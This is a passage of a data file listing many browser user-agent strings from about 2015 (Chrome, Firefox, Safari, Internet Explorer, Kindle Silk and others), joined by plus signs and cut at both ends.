OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFASWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53 +Mozilla/5.0 (X11; CrOS armv7l 7077.134.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.156 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSOWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 +Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 +Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDRJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFAPWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFARWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 10.0; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/7.1.5 Safari/537.85.14 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP06; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.8 (KHTML, like Gecko) Version/8.0.3 Safari/600.4.8 +Mozilla/5.0 (iPad; CPU OS 7_0_6 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B651 Safari/9537.53 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/7.1.3 Safari/537.85.12 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview) Chrome/27.0.1453 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 +Mozilla/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B511 Safari/9537.53 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.5 Safari/534.34 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 BingPreview/1.0b +Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 7262.52.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.86 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/7.1.4 Safari/537.85.13 +Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSAWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.13.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A501 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 +Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; FunWebProducts; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWA Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Linux; Android 4.0.4; BNTV600 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie9; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0.2; SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A4325c Safari/601.1 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0) +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (PlayStation 4 2.57) AppleWebKit/537.73 (KHTML, like Gecko) +Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Linux; Android 5.0; SM-G900V Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch) +Mozilla/5.0 (Linux; Android 5.0.2; SM-T800 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-I545 4G Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASAJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MALC; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/33.0.0.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/4.0 (compatible; MSIE 6.0; Windows 